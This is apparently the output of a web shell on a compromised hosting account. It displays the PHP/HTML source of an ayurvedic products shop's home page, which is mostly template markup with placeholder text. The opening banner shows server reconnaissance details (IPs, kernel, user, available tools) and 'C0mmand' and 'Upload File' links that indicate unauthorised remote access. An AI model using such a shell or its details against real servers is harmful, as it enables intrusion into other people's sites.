|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/ayusshiherbs/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!doctype html>
<html lang="en">
<?php require "inc/head.php" ?>
<div class="icon-bar">
<a href="https://api.whatsapp.com/send?phone=+91 8527274343 &text=Hello%2C%20I'm%20here%20about..." class="facebook trin-trin"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" style="fill:#fff; height:25px;"><!--! Font Awesome Pro 6.1.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license (Commercial License) Copyright 2022 Fonticons, Inc. --><path d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"></path></svg></a>
<a href="tel:+91 8527274343" class="google trin-trin"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" style="fill:#fff; height:25px;"><!--! Font Awesome Pro 6.1.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license (Commercial License) Copyright 2022 Fonticons, Inc. --><path d="M511.2 387l-23.25 100.8c-3.266 14.25-15.79 24.22-30.46 24.22C205.2 512 0 306.8 0 54.5c0-14.66 9.969-27.2 24.22-30.45l100.8-23.25C139.7-2.602 154.7 5.018 160.8 18.92l46.52 108.5c5.438 12.78 1.77 27.67-8.98 36.45L144.5 207.1c33.98 69.22 90.26 125.5 159.5 159.5l44.08-53.8c8.688-10.78 23.69-14.51 36.47-8.975l108.5 46.51C506.1 357.2 514.6 372.4 511.2 387z"></path></svg></a>
</div>
<body class="bg-video">
<!-- preloader section -->
<!-- <div class="page-loader">
<div class="spinner"></div>
</div> -->
<!-- page wrapper section -->
<div id="wrapper"></div>
<!-- Header Part -->
<?php require "inc/header.php" ?>
<!-- Body Part - hero section -->
<section class="hero">
<div class="video-image">
<video autoplay muted loop class="background-video" src="assets/images/slider/video.mp4">
</video>
<div class="container position-relative z-1">
<div class="row">
<div class="col-12 d-flex justify-content-center align-items-center text-center">
<div class="mt-5 pt-5 pt-lg-0 mt-lg-0">
<p class="mt-5 mb-3 theme-text-secondary fs-4 fw-bold animate__animated wow animate__fadeInUp"
data-wow-delay="4s">Natural Product Marketplace</p>
<h1
class="display-4 mb-3 theme-text-white font-black max text-capitalize animate__animated wow animate__fadeInUp"
data-wow-delay="5s">
A natural approach to Maximize your health</h1>
<p class="mb-0 theme-text-white animate__animated wow animate__fadeInUp" data-wow-delay="5s">Enjoy 20% Off
Gift Cards on Checkout</p>
<div class="custom-button mt-5 animate__animated wow animate__fadeInUp" data-wow-delay="5s">
<button class="btn custom-btn-primary fw-bold fw-bold px-4 button-effect transition-3d-hover"
type="submit">Shop Our
Product</button>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Our Product banner section -->
<section class="product-banner pb-5 pt-lg-5">
<div class="container">
<div class="row">
<div class="col-12 col-md-4 mb-3 mb-md-0 animate__animated wow animate__backInUp">
<div class="wrap">
<div class="box px-2 px-lg-0">
<div class="product product01"></div>
</div>
<div class="content">
<h1 class="mb-0 theme-text-white font-black">MEGA SALE</h1>
<p class="my-0 theme-text-accent-two">From $540</p>
<div class="custom-button mt-4">
<a href="javascript:void(0)" class="custom-btn-secondary btn-shop font-small px-4 button-effect">
Shop Now
<i class="bi bi-arrow-right fs-6 ms-2"></i>
</a>
</div>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-4 mb-3 mb-md-0 animate__animated wow animate__backInUp">
<div class="wrap">
<div class="box px-2 px-lg-0">
<div class="product product03"></div>
</div>
<div class="content">
<h1 class="mb-0 body-text-dark font-black text-uppercase">Booster Pro</h1>
<p class="my-0 theme-text-primary">Start at $119</p>
<div class="custom-button mt-4">
<a href="javascript:void(0)" class="custom-btn-secondary btn-shop font-small px-4 button-effect">
Shop Now
<i class="bi bi-arrow-right fs-6 ms-2"></i>
</a>
</div>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-4 mb-3 mb-md-0 animate__animated wow animate__backInUp">
<div class="wrap">
<div class="box px-2 px-lg-0">
<div class="product product02"></div>
</div>
<div class="content">
<h1 class="mb-0 body-text-dark font-black">SUPER SALE</h1>
<p class="my-0 theme-text-primary">Start at $99</p>
<div class="custom-button mt-4">
<a href="javascript:void(0)" class="custom-btn-secondary btn-shop font-small px-4 button-effect">
Shop Now
<i class="bi bi-arrow-right fs-6 ms-2"></i>
</a>
</div>
</div>
</div>
</div>
<!-- repetable -->
</div>
</div>
</section>
<!-- top categories section -->
<section class="topCategories py-5">
<div class="container">
<div class="row mt-3">
<div class="col-12 animate__animated wow animate__backInUp">
<span class="high-text"></span>
<h2 class="fs-1 font-black text-center theme-text-primary mb-3">Bestselling Products</h2>
<div class="row">
<div class="col-12 col-lg-6 offset-lg-3">
<p class="mb-0 text-center">Our range of ayurvedic products are elegantly packed, gorgeous look, and packed
with
the
freshest all
teas.</p>
</div>
</div>
</div>
</div>
<div class="row mt-5">
<div class="col-12 animate__animated wow animate__backInUp">
<!-- tab 1 - first row products -->
<div class="row mb-4">
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products01.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="deal-badge">
<span class="badge bg-danger">15% Off</span>
</div>
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">ayurvedicism Mixed Anxietyu</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between align-items-center">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">28.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products02.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Hair conditioner Plant, Shampoo,
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">18.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products03.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Chrysanthemum tea ayurvedic tea
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">10.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products04.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text">Saint Patrick's Day Icon
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">14.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
</div>
<!-- secnd row products -->
<div class="row mb-4">
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products05.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Chrysanthemum tea ayurvedic tea
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">30.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products06.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="deal-badge">
<span class="badge bg-danger">Sale</span>
</div>
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Aerosol spray Milliliter Oil
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">11.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products07.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Shower gel Baby shampoo
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">09.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
<div class="col-12 col-md-6 col-lg-3 mb-4 mb-lg-0">
<div class="card-wrap theme-border-radius px-4 py-4">
<div class="con-img-wrap m-auto product-quick-view">
<img src="assets/images/product/Products08.png" class="img-fluid mx-auto d-block"
alt="product picture">
<div class="view">
<a href="#" class="view-btn" data-bs-toggle="modal" data-bs-target="#quickViewModal">
<i class="bi bi-eye-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Quick View"></i>
</a>
<a class="view-btn wishlist">
<i class="bi bi-heart-fill" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Wishlist"></i>
</a>
<a class="view-btn compare">
<i class="bi bi-arrow-repeat" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Compare"></i>
</a>
<a class="view-btn add-to-cart">
<i class="bi bi-basket" data-bs-toggle="tooltip" data-bs-placement="top"
data-bs-title="Add to cart"></i>
</a>
</div>
</div>
<div class="con-wrap mt-4">
<p class="mb-4 text text-truncate">Dietary supplement Blood Sugar
</p>
<div class="rating-cover">
<span class="ml-5">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i>
</span>
</div>
<div class="d-flex justify-content-between bottom">
<div class="align-self-center product-price">
<i class="bi bi-currency-dollar fs-5"></i><span class="ms-1 fs-6 fw-bold">22.85</span>
</div>
<a href="javascript:void(0)" class="mb-0"><i class="bi bi-bag"></i></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- view all category button -->
<div class="row">
<div class="col-12 text-center mt-4 animate__animated wow animate__backInUp">
<div class="custom-button">
<a href="javascript:void(0)" class="fw-bold link-ef">
View More Products<i class="bi bi-arrow-right ps-2"></i></a>
</div>
</div>
</div>
</div>
</section>
<!-- about us section -->
<section class="about-us mb-5">
<div class="container">
<div class="row mt-5">
<div class="col-12 col-lg-7 align-self-center animate__animated wow animate__backInUp">
<img src="assets/images/section/about02.png" class="img-fluid" alt="Basket Image">
</div>
<div class="col-12 col-lg-5">
<div class="p-4 theme-bg-accent-three theme-border-radius">
<span class="high-text"></span>
<h2 class="fs-1 font-black text-center theme-text-primary mb-3 animate__animated wow animate__backInUp">
About Herb & Ayur</h2>
<p class="mb-5 theme-text-accent-one max animate__animated wow animate__backInUp">Praesent accumsan sapien a
cursus
placerat.
Phasellus odio dui,
suscipit eu
mattis sit amet, viverra quis
sem. Nullam suscipit, mi at interdum hendrerit, magna nisl aliquet felis, non laoreet sapien nibh in
augue.
Integer non.</p>
<ul>
<li class="mb-5 animate__animated wow animate__backInUp">
<div class="d-flex align-items-center">
<div class="flex-shrink-0">
<img src="assets/images/icons/safe.svg" class="img-fluid" alt="Basket Image">
</div>
<div class="flex-grow-1 ms-3">
<h3 class="fs-6 fw-bold theme-text-primary mb-0 align-self-center">Safe
Enviorment</h3>
<p class="mb-0 theme-text-accent-one">Vestibulum nec mollis nibh. Phasellus
iaculis tincidunt sem at suscipit.</p>
</div>
</div>
</li>
<!-- repetable -->
<li class="mb-5 animate__animated wow animate__backInUp">
<div class="d-flex align-items-center">
<div class="flex-shrink-0">
<img src="assets/images/icons/hygienic.svg" class="img-fluid" alt="Basket Image">
</div>
<div class="flex-grow-1 ms-3">
<h3 class="fs-6 fw-bold theme-text-primary mb-0 align-self-center">Hygienic
Process</h3>
<p class="mb-0 theme-text-accent-one">Vestibulum nec mollis nibh. Phasellus
iaculis tincidunt sem at suscipit.</p>
</div>
</div>
</li>
<!-- repetable -->
<li class="mb-5 animate__animated wow animate__backInUp">
<div class="d-flex align-items-center">
<div class="flex-shrink-0">
<img src="assets/images/icons/assortment.svg" class="img-fluid" alt="Basket Image">
</div>
<div class="flex-grow-1 ms-3">
<h3 class="fs-6 fw-bold theme-text-primary mb-0 align-self-center">Wide Assortment</h3>
<p class="mb-0 theme-text-accent-one">Vestibulum nec mollis nibh. Phasellus
iaculis tincidunt sem at suscipit.</p>
</div>
</div>
</li>
<!-- repetable -->
</ul>
<div class="custom-button animate__animated wow animate__backInUp">
<a href="javascript:void(0)" class="btn custom-btn-secondary theme-border fw-bold button-effect px-5">
Shop The Collection</a>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- features section -->
<section class="features py-5">
<div class="container">
<div class="row position-relative animate__animated wow animate__backInUp">
<div class="col-12 col-md-4 col-lg-4 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/features-icon01.svg" alt="free shipping">
</div>
<div class="text">
<p class="theme-text-secondary">Since 1989</p>
<h3 class="icon-box-title">Heritage & Ancient</h3>
<p>Established in 1983, our Tea has been sourcing, manufacturing and distributing quality and affordable
tea.</p>
<a href="#" class="link-ef">Read More<i class="bi bi-arrow-right ps-2"></i></a>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-4 col-lg-4 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/features-icon02.svg" alt="free shipping">
</div>
<div class="text">
<p class="theme-text-secondary">Purly Natural</p>
<h3 class="icon-box-title">Fresh from Source</h3>
<p>We believe in the magic of freshly plucked leaves from the tea gardens. Find out what it means to be
Fresh from Source.</p>
<a href="#" class="link-ef">Read More<i class="bi bi-arrow-right ps-2"></i></a>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-4 col-lg-4 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/features-icon03.svg" alt="free shipping">
</div>
<div class="text">
<p class="theme-text-secondary">100% QUALITY</p>
<h3 class="icon-box-title">Organic Ingredients</h3>
<p>Made with over 150 exotic spices, our teas are purposefully blended both delicious taste and healthful
benefits.</p>
<a href="#" class="link-ef">Read More<i class="bi bi-arrow-right ps-2"></i></a>
</div>
</div>
</div>
<!-- repetable -->
</div>
</div>
</section>
<!-- video demo section -->
<section class="deal-to-action animate__animated wow animate__backInUp">
<div class="container">
<div class="row">
<div class="col-12 position-relative justify-content-center align-self-center text-center">
<div class="mb-5">
<div class="max">
<h4 class="display-4 font-black theme-text-white mb-3">Directly from the
Nature to your Hand's
</h4>
</div>
<p class="fs-4 theme-text-accent-three mb-0">Watch our amazing video from Nature</p>
</div>
</div>
</div>
</div>
<div class="video-frame">
<div class="container">
<div class="row">
<div class="col-12 col-lg-10 offset-lg-1">
<div class="group custom-button">
<div class="d-flex align-items-center position-relative">
<a href="https://www.youtube.com/watch?v=pBFQdxA-apI" class="video-icon video-icon2 video_model">
<i class="bi bi-play"></i>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- why us section -->
<section class="why-us">
<div class="container">
<div class="row my-3">
<div class="col-12 animate__animated wow animate__backInUp">
<span class="high-text"></span>
<div class="max">
<h2 class="fs-1 font-black text-center theme-text-primary mb-3">Committed to your health and well being</h2>
</div>
<div class="row">
<div class="col-12 col-lg-6 offset-lg-3">
<p class="mb-5 text-center">Our range of ayurvedic products are elegantly packed, gorgeous look, and packed
with
the
freshest all
teas.</p>
</div>
</div>
</div>
</div>
<div class="row g-0">
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon01.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">Free Shipping</h3>
<p>No extra cost</p>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon02.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">100% Guarantee</h3>
<p>3 days return policy</p>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon03.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">Need Assistence</h3>
<p>Contact us whole day</p>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon04.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">Secure Payment</h3>
<p>Only secure payments</p>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon05.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">Eco package</h3>
<p>Eco frendaily packages</p>
</div>
</div>
</div>
<!-- repetable -->
<div class="col-12 col-md-6 col-lg-2 animate__animated wow animate__backInUp">
<div class="left-icon align-items-center">
<div class="icon">
<img src="assets/images/icons/why-icon06.svg" alt="free shipping">
</div>
<div class="text">
<h3 class="icon-box-title">Pure taste</h3>
<p>Best taste of all products</p>
</div>
</div>
</div>
<!-- repetable -->
</div>
</div>
</section>
<!-- latest blog section -->
<section class="blog py-5 animate__animated wow animate__backInUp">
<div class="container">
<div class="row mb-5">
<div class="col-12">
<span class="high-text"></span>
<h2 class="fs-1 font-black text-center theme-text-primary mb-3">From the blog</h2>
<p class="mb-0 text-center">There are many variations of passages of lorem ipsum available</p>
</div>
</div>
<div class="row mt-5">
<div class="col-12 col-lg-3 mb-4">
<div class="blog-card row g-0">
<div class="overflow-hidden position-relative col-12 theme-border-radius">
<figure class="mb-0 img-effect">
<img src="assets/images/blog/blog-post01.jpg" class="img-fluid" alt="news articles">
</figure>
<div class="tags position-absolute">
<a href="javascript:void(0)" class="font-small"><span class="d-block">18</span>March</a>
</div>
</div>
<div class="col-12 mt-3">
<a href="#"><span class="cat fw-bold fs-6">Organic</span></a>
<a href="javascript:void(0)" class="font-small fw-bold theme-text-accent-one">
<i class="bi bi-person ms-2 theme-text-primary"></i>
<span>By Admin</span>
</a>
<h2 class="fs-4 fw-bold my-3">What is organic Tea farming?</h2>
<div class="d-flex">
<a href="javascript:void(0)" class="font-small fw-bold link-more">Read more<i
class="bi bi-arrow-right ms-2"></i></a>
</div>
</div>
</div>
</div>
<!-- repeate -->
<div class="col-12 col-lg-3 mb-4">
<div class="blog-card row g-0">
<div class="overflow-hidden position-relative col-12 theme-border-radius">
<figure class="mb-0 img-effect">
<img src="assets/images/blog/blog-post02.jpg" class="img-fluid" alt="news articles">
</figure>
<div class="tags position-absolute">
<a href="javascript:void(0)" class="font-small"><span class="d-block">18</span>March</a>
</div>
</div>
<div class="col-12 mt-3">
<a href="#"><span class="cat fw-bold fs-6">Beauty</span></a>
<a href="javascript:void(0)" class="font-small fw-bold theme-text-accent-one">
<i class="bi bi-person ms-2 theme-text-primary"></i>
<span>By Writer</span>
</a>
<h2 class="fs-4 fw-bold my-3">Best organic tea for womens</h2>
<div class="d-flex">
<a href="javascript:void(0)" class="font-small fw-bold link-more">Read more <i
class="bi bi-arrow-right ms-2"></i></a>
</div>
</div>
</div>
</div>
<!-- repeate -->
<div class="col-12 col-lg-3 mb-4">
<div class="blog-card row g-0">
<div class="overflow-hidden position-relative col-12 theme-border-radius">
<figure class="mb-0 img-effect">
<img src="assets/images/blog/blog-post03.jpg" class="img-fluid" alt="news articles">
</figure>
<div class="tags position-absolute">
<a href="javascript:void(0)" class="font-small"><span class="d-block">18</span>March</a>
</div>
</div>
<div class="col-12 mt-3">
<a href="#"><span class="cat fw-bold fs-6">Fashion</span></a>
<a href="javascript:void(0)" class="font-small fw-bold theme-text-accent-one">
<i class="bi bi-person ms-2 theme-text-primary"></i>
<span>By Admin</span>
</a>
<h2 class="fs-4 fw-bold my-3">Is ayurvedic better for you</h2>
<div class="d-flex">
<a href="javascript:void(0)" class="font-small fw-bold link-more">Read more<i
class="bi bi-arrow-right ms-2"></i></a>
</div>
</div>
</div>
</div>
<!-- repeate -->
<div class="col-12 col-lg-3 mb-4">
<div class="blog-card row g-0">
<div class="overflow-hidden position-relative col-12 theme-border-radius">
<figure class="mb-0 img-effect">
